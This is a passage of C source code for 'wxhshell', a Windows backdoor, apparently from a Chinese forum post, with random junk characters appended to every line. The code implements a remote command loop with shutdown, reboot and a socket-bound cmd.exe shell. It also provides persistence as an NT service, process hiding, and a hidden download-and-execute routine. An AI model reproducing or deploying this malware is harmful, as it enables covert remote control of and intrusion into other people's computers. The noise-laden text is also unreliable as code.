  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); '5%DKz  
  } #p]O n87>  
  else { A.[T#ZB.4  
=LRUasF  
    switch(cmd[0]) { {q^KlSjm  
  zv41Yv!x}  
  // 帮助 ee0J;pP2#  
  case '?': { !E%!,  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ,3wo  
    break; Vr'Z5F*@  
  } ,Gfnf%H\8>  
  // 安装 p: o*=  
  case 'i': { z,)Fvs4U.  
    if(Install()) m#Cp.|>kP4  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); *;Vq0a!  
    else 2.6,c$2tB  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); cMj<k8.{  
    break; x\*5A,w{c]  
    } O1 z>A  
  // 卸载 *jYwcW"R{z  
  case 'r': { -&c@c@dC  
    if(Uninstall()) {PU[MHZF  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); k@w&$M{tPF  
    else E^g6,Y:i9  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); #\}hN~@F  
    break; X_h+\ 7N>  
    } 1||e !W  
  // 显示 wxhshell 所在路径 V1ug.Jv^  
  case 'p': { @wo9;DW`  
    char svExeFile[MAX_PATH]; )YZ41K5N  
    strcpy(svExeFile,"\n\r"); _u>+H#  
      strcat(svExeFile,ExeFile); 8)i\d`  
        send(wsh,svExeFile,strlen(svExeFile),0); :!%oQQO  
    break; X **w RF  
    } V #=N?p  
  // 重启 T/H*Bo *=5  
  case 'b': { .m<-)Kx  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); BjA|H  
    if(Boot(REBOOT)) g$A1*<+  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); W?@ ;(k  
    else { 7l?=$q>k"  
    closesocket(wsh); k=LY 6  
    ExitThread(0); b`^$2RM&  
    } +G?3j,a\  
    break; )T>a|.  
    } eN/Jb;W  
  // 关机 @-hy:th#  
  case 'd': { h.67] U7m  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); pRC#DHcHh  
    if(Boot(SHUTDOWN)) X3nwA#If1  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); `q F:rQ  
    else { lU\|F5O@#  
    closesocket(wsh); qB8<(vBP+  
    ExitThread(0); %hXa5}JL  
    } a(m#GES  
    break; 8J)x>6  
    } O". #B  
  // 获取shell ~sM334sQ  
  case 's': { dZZHk  
    CmdShell(wsh); &B))3WFy  
    closesocket(wsh); UPbG_ #"wZ  
    ExitThread(0); 2+|[e_  
    break; oL<^m?-u  
  } &R 0BuFL8  
  // 退出 QII>XJ9  
  case 'x': { (j2]:B Vu  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 7Q^t(  
    CloseIt(wsh); vZ*5 93C8  
    break; -q-%)f  
    } k(T/yd rw  
  // 离开 _mcD*V  
  case 'q': { 9;:Lf  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); xEbcF+@  
    closesocket(wsh); wt-)5f'{  
    WSACleanup(); U2G\GU1 X  
    exit(1); ]Fa VKC~3  
    break; GLEGyT?~  
        } zhFGMF1  
  } FQ);el'_V  
  } f}o`3v*z  
{Bu^%JEn  
  // 提示信息 >ztv3^w  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); e\\ I,  
} /H}83 C  
  } ?:UDK?  
vRm;H|[%S  
  return; ."9v1kW  
} SV-pS>#  
*r[PZ{D+  
// shell模块句柄 ;X\,-pjv  
int CmdShell(SOCKET sock) SC'fT!  
{ 1;SWfKU?.  
STARTUPINFO si; c\n\gQ:LQ  
ZeroMemory(&si,sizeof(si)); `2 {x 8A  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; tM~R?9OaJ  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; `^RpT]S  
PROCESS_INFORMATION ProcessInfo; =p$1v{L8  
char cmdline[]="cmd"; u PjJ>v  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); l,L#y 4#  
  return 0; *V5R[   
} gaVWfG  
7)z^*;x  
// 自身启动模式 wQDKv'zU1  
int StartFromService(void) 1)H+iN|im/  
{ {i3]3V"Xp  
typedef struct `5Q0U%`W  
{ {Dqf.w>t  
  DWORD ExitStatus; N_Yop  
  DWORD PebBaseAddress; sFMSH :5z  
  DWORD AffinityMask; Wcw$ Zv  
  DWORD BasePriority; /qEoiL###  
  ULONG UniqueProcessId; B_nim[72  
  ULONG InheritedFromUniqueProcessId; | M4_@P  
}   PROCESS_BASIC_INFORMATION; 9>%ti&_-jt  
 GVe[)R  
PROCNTQSIP NtQueryInformationProcess; BG/M3  
j$siCsF  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; eNpGa0 eG  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; Y0 Ta&TYZ0  
*e!0ZB3J  
  HANDLE             hProcess; ^ola5wD  
  PROCESS_BASIC_INFORMATION pbi; k#&d`?X  
wm !Y5  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); BH0].-)[y!  
  if(NULL == hInst ) return 0; YR^J7b\  
ma,H<0R  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); NvQN  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 7vubkj&  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); K#kU6/  
|-%[Z  
  if (!NtQueryInformationProcess) return 0; ;i@,TU  
+\2{{~_z  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); N\BB8<F  
  if(!hProcess) return 0; ?V3e;n  
QJjqtOf>  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; { owK~  
GMyzQ]@}  
  CloseHandle(hProcess); n3 -5`Jti  
p<: bP w  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); QJ\ o"c  
if(hProcess==NULL) return 0; mbK$_HvU  
k|'{$/ n  
HMODULE hMod; ~*@ UQ9*p#  
char procName[255]; >/9f>d?w^  
unsigned long cbNeeded; !8(: G6Ne  
9{]U6A*K0w  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); vlY83mU.  
8XIG<Nc  
  CloseHandle(hProcess); &Rdg07e;>  
HN]roSt~  
if(strstr(procName,"services")) return 1; // 以服务启动 Y92 w L}  
4"U/T 1&  
  return 0; // 注册表启动 O4dJ> O  
} =W$ f +  
f .-b.nNf  
// 主模块 FCgr  
int StartWxhshell(LPSTR lpCmdLine) 7j| ^ZuI+  
{ * G!C 'w\$  
  SOCKET wsl; XvETys@d  
BOOL val=TRUE; SfLZVB  
  int port=0; " N>~]  
  struct sockaddr_in door; D,b'1=  
3copJS  
  if(wscfg.ws_autoins) Install(); dZ K /v  
-fKo~\Pr  
port=atoi(lpCmdLine); F9IrbLS9c  
7u73v+9qn:  
if(port<=0) port=wscfg.ws_port; |WwC@3)  
gqJSz}'  
  WSADATA data; H0r@dn  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; I7,5ID4pn  
F,5~a_GP?  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   3}~.#`QeY  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); wr I66R}@  
  door.sin_family = AF_INET; uj;tmK>;  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); cBZ$$$v\#  
  door.sin_port = htons(port); pY]T3 2  
9K,PT.c  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { kCRfO}wt3  
closesocket(wsl); (d mLEt  
return 1; ?gD^K,A Hd  
} c_wvuKa  
o{MF'B #  
  if(listen(wsl,2) == INVALID_SOCKET) { +L(|?|i8  
closesocket(wsl); a|S6r-_;s  
return 1; pDqX% $^  
} D y+)s-8  
  Wxhshell(wsl); n<q1itjD  
  WSACleanup(); m#w1?y)Z@X  
b?i5C4=K  
return 0; 0])D)%B k  
I8};t b#  
} uIh68UM  
b$FK}D5  
// 以NT服务方式启动 F/p/&9  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) -@bOFClE  
{ -4wr)zjfW  
DWORD   status = 0; lidVe]>  
  DWORD   specificError = 0xfffffff; FJ-X~^  
+;,65j+n   
  serviceStatus.dwServiceType     = SERVICE_WIN32; AwnQ5-IR\  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; `st3iTLZY  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; %[S-"k  
  serviceStatus.dwWin32ExitCode     = 0; t?1 b(oJ  
  serviceStatus.dwServiceSpecificExitCode = 0; u-</G-y  
  serviceStatus.dwCheckPoint       = 0; wH]5VltUT1  
  serviceStatus.dwWaitHint       = 0; 9!} ?}`'_  
YOOcHo.F  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); (:er~Y}  
  if (hServiceStatusHandle==0) return; lC.Q61J@  
dbga >j  
status = GetLastError(); xB4}9zN s  
  if (status!=NO_ERROR) Wdk]>w 'L  
{ UA4="/  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; Z-%zR'-?*  
    serviceStatus.dwCheckPoint       = 0; 65]>6D43  
    serviceStatus.dwWaitHint       = 0; *? V boyU  
    serviceStatus.dwWin32ExitCode     = status; rF?gKk  
    serviceStatus.dwServiceSpecificExitCode = specificError; O, .c gX   
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 'Nkd *  
    return; -XASS%  
  } kF]sy8u]  
G]v BI=  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 6+ UTEw;  
  serviceStatus.dwCheckPoint       = 0; ^=Dz)95c  
  serviceStatus.dwWaitHint       = 0; LO;7NK  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); m+|yk.md  
} k%D|17I  
gUr #3#  
// 处理NT服务事件,比如:启动、停止 h;[<4zw  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 1u8 k}  
{ g{6FpuA|0  
switch(fdwControl) 5 6JxHQu  
{ 8&Md=ZvK`  
case SERVICE_CONTROL_STOP:  LA]UIM@  
  serviceStatus.dwWin32ExitCode = 0; i2P:I A|@  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; TI/5'Oke$  
  serviceStatus.dwCheckPoint   = 0; ~Z`Cu~7  
  serviceStatus.dwWaitHint     = 0; '[Zgwz;z  
  { I3qTSX-  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); x$hT+z6DUC  
  } 'vwu^u?  
  return; Y6 <.]H  
case SERVICE_CONTROL_PAUSE: j DkBe-`  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 6%^A6U  
  break; P(%^J6[>  
case SERVICE_CONTROL_CONTINUE: fK|P144   
  serviceStatus.dwCurrentState = SERVICE_RUNNING; CL3b+r  
  break; $;pHv<  
case SERVICE_CONTROL_INTERROGATE: z[Ah9tM%  
  break; 8-B6D~i  
}; Y(RB@+67  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); &>f]  
} %63s(ekU  
[a_'pAH  
// 标准应用程序主函数 5[y+X|Am  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) (nu;o!mo9  
{ 4iDqd  
XEBeoOX/  
// 获取操作系统版本 :i3 W U%  
OsIsNt=GetOsVer(); !aB~G}'  
GetModuleFileName(NULL,ExeFile,MAX_PATH); B ({g|}|G+  
HDO_r(i  
  // 从命令行安装 <KX fh  
  if(strpbrk(lpCmdLine,"iI")) Install(); }U'VVPh _  
OF}."a  
  // 下载执行文件 }  fa  
if(wscfg.ws_downexe) { p%R+c  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) +'/C(5y)0X  
  WinExec(wscfg.ws_filenam,SW_HIDE); ~ <36vsk  
} I@oSRB  
WF_ v>g:g  
if(!OsIsNt) { gNJdP!(t  
// 如果时win9x,隐藏进程并且设置为注册表启动 !bIE%cq  
HideProc(); .uinv  
StartWxhshell(lpCmdLine); JU#m?4g  
} 'gtcy  
else cT5BBR   
  if(StartFromService()) p\P)    
  // 以服务方式启动 UHgW-N"  
  StartServiceCtrlDispatcher(DispatchTable); Pcjrv:0$  
else 7,s5Gd-  
  // 普通方式启动 LAFxeo  
  StartWxhshell(lpCmdLine); -^Qm_lN  
&+0?Xip{Z  
return 0; 8<x& Xd  
}
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只看该作者 1 发表于: 2006-10-10
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